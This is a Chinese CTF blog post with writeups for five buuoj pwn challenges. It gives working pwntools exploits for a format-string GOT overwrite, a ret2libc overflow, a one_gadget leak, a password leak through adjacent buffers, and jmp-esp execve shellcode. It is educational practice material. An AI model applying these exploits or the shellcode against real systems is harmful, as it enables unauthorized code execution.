buuoj Pwn writeup 101-105

博客围绕多个CTF题目展开,包括inndy_echo、cmcc_pwnme1等。分析了各题目的保护机制和漏洞类型,如格式化字符串漏洞、栈溢出等,并阐述利用思路,如劫持got表、泄露libc地址等,还给出了相应的exp。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

101 inndy_echo

保护
在这里插入图片描述在这里插入图片描述
就格式化字符串漏洞。
我们考虑劫持got表。
也不用泄露地址,因为它直接就有system函数。

只需要实现测一下偏移。
在这里插入图片描述
偏移是7.

exp

from pwn import *

r = remote("node3.buuoj.cn",28990)
elf = ELF('./101')
libc = ELF("./32/libc-2.23.so")

printf_got = elf.got['printf']
system_addr = elf.sym['system']

payload = fmtstr_payload(7,{printf_got:system_addr})

r.sendline(payload)

payload = "/bin/sh\x00"

r.sendline(payload)

r.interactive()

这里用了模板,还是非常棒的。

102 cmcc_pwnme1

保护
在这里插入图片描述
getflag
在这里插入图片描述估摸着远程又没这文件。

在这里插入图片描述getfruit里面有溢出。

溢出溢过去,完活。

exp

from pwn import *

r = remote("node3.buuoj.cn",29485)
elf = ELF('./102')
libc = ELF("./32/libc-2.23.so")

plt_puts = elf.plt['puts']
got_puts = elf.got['puts']

main = elf.symbols["main"]

getfruit_addr = 0x08048624
payload = 0xa4*'a' + p32(main) + p32(plt_puts) +  p32(main)  + p32(got_puts)
r.recvuntil('Exit    \n')
r.sendline('5')
r.recvuntil('fruit:')
r.sendline(payload)

real_puts = u32(r.recvuntil('\xf7')[-4:].ljust(4,'\x00'))

libc_base = real_puts - libc.sym["puts"]
system = libc_base + libc.sym["system"]
binsh = libc_base + libc.search("/bin/sh").next()
payload = 0xa4*'a' + p32(main) + p32(system) +  p32(main)  + p32(binsh)
r.recvuntil('Exit    \n')
r.sendline('5')
r.recvuntil('fruit:')
r.sendline(payload)
r.interactive()

103 oneshot_tjctf_2016

保护
在这里插入图片描述
RELRO一点没开的……

在这里插入图片描述

输入参数"%lx"就是格式控制串,其中的%是格式控制符, l表示数据为长整型,x表示输出十六进制
32位平台下%p = 0x%x
64位平台下

程序的执行流程是我们输入一个地址,会将这个地址处的数值打印出来,这样我们就可以泄露libc地址,然后我们可以利用one_gadget,输入到v4里面,然后执行。

exp

# -*- coding: utf-8 -*-
from pwn import *

elf = ELF('./103')
r = remote('node3.buuoj.cn',27030)
puts_got = elf.got['puts']
libc = ELF('./64/libc-2.23.so')
 
one_gadget = 0x45216
 
r.sendlineafter('Read location?',str(puts_got))
#这个地方要记得发送的时候要用str()

r.recvuntil('0x0000')
puts_addr = int(r.recvuntil('\n'),16)
#这个地方没有用切片也跑的通,int这个函数会自动把那个回车给处理掉.

libc_base = puts_addr - libc.symbols['puts']

print hex(libc_base)

one_gadget = libc_base + one_gadget

r.sendline(str(one_gadget)) 
 
r.interactive()

104 picoctf_2018_leak_me

保护
在这里插入图片描述
在这里插入图片描述v5是名字,s是密码。

没有啥漏洞,所以就考虑逻辑漏洞,或者是一些骚操作。
这里发现名字的数组跟密码的数组是连在一起的,所以我们可以输出名字的时候把密码带出来。

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
elf = ELF('./104')
r = remote('node3.buuoj.cn',27602)
libc = ELF('./64/libc-2.23.so')
payload = 'a' * (0x100 - 28)
r.sendlineafter("What is your name?\n", payload)
r.recv()
r.sendline('aaaa')
r.interactive()

密码就被带出来了。

在这里插入图片描述
然后nc连接上,输入密码拿flag。

105 x_ctf_b0verfl0w

保护
在这里插入图片描述
在这里插入图片描述给了一个jmp esp

在这里插入图片描述有个栈溢出。

但是溢出大小不大,只有18.

要注意到没开NX。

我们的思路是要考虑把shellcode写在什么地方,然后jmp esp跳过去执行,但是我们发现我们只能写在栈上,写在栈上之后返回地址用jmp esp,同时在返回地址后面写上汇编代码,让esp跳上去,跳到上面去执行栈上面的shellcode。

要注意的是栈上能写的只有32个字节,所以要掏出我们的23字节最短shellcode。

shellcode ='''
xor eax,eax             #eax置0
xor edx,edx				#edx置0
push edx				#将0入栈,标记了”/bin/sh”的结尾
push 0x68732f2f         #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/sh
push 0x6e69622f         #传递“/bin”
mov ebx,esp             #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx
xor ecx,ecx
mov al,0xB              #eax置为execve函数的中断号
int 0x80                #调用软中断
'''
shellcode=asm(shellcode)

把它写到栈上。然后jmp esp,在返回地址下面写上{sub esp 0x28, call esp},就好了。

exp

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = "debug"

r = remote('node3.buuoj.cn',29445)
#r = process("./105")
jmp_esp = 0x8048504

shellcode ='''
xor eax,eax             #eax置0
xor edx,edx				#edx置0
push edx				#将0入栈,标记了”/bin/sh”的结尾
push 0x68732f2f         #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/sh
push 0x6e69622f         #传递“/bin”
mov ebx,esp             #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx
xor ecx,ecx
mov al,0xB              #eax置为execve函数的中断号
int 0x80                #调用软中断
'''
payload = asm(shellcode)
payload = payload.ljust(36, '\x00')
payload += p32(jmp_esp)
payload += asm("sub esp,40;call esp")

#gdb.attach(r)

r.sendlineafter("What's your name?\n", payload)

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值